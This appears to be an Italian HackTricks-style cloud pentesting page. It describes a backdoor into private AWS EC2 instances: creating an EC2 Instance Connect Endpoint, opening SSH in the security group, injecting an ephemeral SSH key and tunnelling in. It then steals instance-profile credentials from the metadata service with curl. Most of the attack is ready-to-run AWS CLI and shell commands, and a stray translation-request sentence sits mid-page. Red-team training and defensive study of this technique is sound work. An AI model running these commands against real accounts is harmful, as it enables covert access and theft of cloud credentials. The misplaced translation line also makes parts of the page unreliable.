AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

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Sfruttare EC2 Instance Connect Endpoint (EIC Endpoint) per ottenere accesso SSH in ingresso a istanze EC2 private (no public IP/bastion) mediante:

  • Creazione di un EIC Endpoint all'interno della subnet target
  • Consentire SSH in ingresso sul target SG dallo SG dell'EIC Endpoint
  • Iniettare una chiave pubblica SSH a breve durata (valida ~60 seconds) con ec2-instance-connect:SendSSHPublicKey
  • Aprire un tunnel EIC e pivotare verso l'istanza per rubare le credenziali dell'instance profile da IMDS

Impatto: percorso di accesso remoto furtivo verso istanze EC2 private che bypassa bastion e restrizioni sui public IP. L'attaccante può assumere l'instance profile e operare nell'account.

Requisiti

  • Permessi per:
  • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
  • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • Istanza Linux target con server SSH e EC2 Instance Connect abilitato (Amazon Linux 2 o Ubuntu 20.04+). Utenti di default: ec2-user (AL2) o ubuntu (Ubuntu).

Variabili

bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

Crea EIC Endpoint

bash
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done

Consentire il traffico dall'EIC Endpoint all'istanza target

bash
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

Iniettare una chiave SSH effimera e aprire un tunnel

bash
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Post-exploitation proof (rubare le credenziali dell'instance profile)

bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

Per favore incolla il contenuto del file src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md che desideri tradurre.

json
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}

Usa le creds rubate localmente per verificare l'identità:

bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

Pulizia

bash
# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

Note

  • La chiave SSH iniettata è valida solo per ~60 secondi; invia la chiave subito prima di aprire il tunnel/SSH.
  • OS_USER deve corrispondere all'AMI (ad esempio, ubuntu per Ubuntu, ec2-user per Amazon Linux 2).

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

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